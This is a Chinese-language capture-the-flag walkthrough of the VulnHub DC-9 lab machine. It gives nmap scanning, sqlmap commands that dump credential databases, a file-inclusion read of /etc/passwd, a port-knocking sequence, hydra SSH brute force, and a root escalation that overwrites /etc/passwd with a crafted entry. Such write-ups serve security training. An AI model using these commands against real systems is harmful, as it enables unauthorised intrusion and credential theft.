VulnHub靶机 DC-9打靶 渗透详细流程
字数 1141 2025-08-19 12:42:09
VulnHub靶机 DC-9 渗透测试详细教程
1. 环境准备
1.1 靶机下载
- 靶机下载地址: https://www.vulnhub.com/entry/dc-9,412/
- 将下载的靶机导入到虚拟机软件(如VMware或VirtualBox)
1.2 网络配置
- 确保攻击机和靶机在同一网络段
- 建议使用NAT或桥接模式
2. 信息收集
2.1 主机发现
arp-scan -l
# 或
nmap -sn 192.168.1.0/24
2.2 端口扫描
nmap -p- 192.168.43.5
发现开放端口:
- 80/tcp (HTTP)
- 22/tcp (SSH, 初始状态为filtered)
2.3 服务版本探测
nmap -p80 -sV -A 192.168.43.5
2.4 Web指纹识别
whatweb http://192.168.43.5/index.php
2.5 目录扫描
dirsearch -u http://192.168.43.5/ -i 200
3. Web渗透
3.1 SQL注入发现
- 在搜索栏测试输入特殊字符
- 使用Burp Suite抓包分析请求
- 发现存在SQL注入漏洞
3.2 使用sqlmap自动化注入
- 保存请求为sql.txt
- 测试当前数据库:
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs
- 脱库Staff数据库:
python sqlmap.py -r sql.txt --random-agent --batch -D Staff --dump
获取凭证:
- 用户名: admin
- 密码: transorbital1 (MD5解密后)
- 脱库users数据库:
python sqlmap.py -r sql.txt --random-agent --batch -D users --dump
获取大量用户名和密码信息
3.3 后台登录
- 使用admin:transorbital1登录后台
- 发现文件包含漏洞:
http://192.168.43.5/welcome.php?file=etc/passwd
- 成功读取/etc/passwd文件
4. SSH服务利用
4.1 端口敲门服务
发现22端口初始为filtered状态,可能存在knockd服务
敲门序列:
nmap 192.168.43.5 -p 7469
nmap 192.168.43.5 -p 8475
nmap 192.168.43.5 -p 9842
敲门后22端口将开放
4.2 SSH爆破
- 整理从users数据库获取的用户名和密码
- 使用hydra爆破:
hydra -L user.txt -P passwords.txt ssh://192.168.43.5
成功爆破出以下用户:
- chandlerb
- joeyt
- janitor
4.3 用户信息收集
- 登录janitor用户,发现隐藏文件包含更多密码
- 将这些密码添加到字典中再次爆破
- 获取新用户fredf的凭证
5. 权限提升
5.1 检查sudo权限
sudo -l
发现可以root权限执行/opt/devstuff/dist/test/test
5.2 分析test程序
- 该程序将第一个参数文件内容写入第二个参数文件
- 可利用此功能修改/etc/passwd添加特权用户
5.3 构造特权用户
- 生成加密密码:
openssl passwd -1 -salt 123 admin
- 构造passwd条目:
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash
- 保存到临时文件/tmp/passwd
5.4 执行提权
sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
- 切换admin用户:
su admin
Password: admin
成功获取root权限
6. 总结
渗透流程
- 主机发现 → 端口扫描 → 服务识别
- Web渗透: SQL注入 → 获取凭证 → 后台登录 → 文件包含
- SSH利用: 端口敲门 → 爆破 → 用户枚举
- 权限提升: sudo滥用 → 修改/etc/passwd → root权限
关键点
- SQL注入漏洞利用
- 端口敲门服务绕过
- 密码重用和爆破
- sudo权限滥用提权
相关靶机系列
- DC-1至DC-8靶机渗透过程可参考类似方法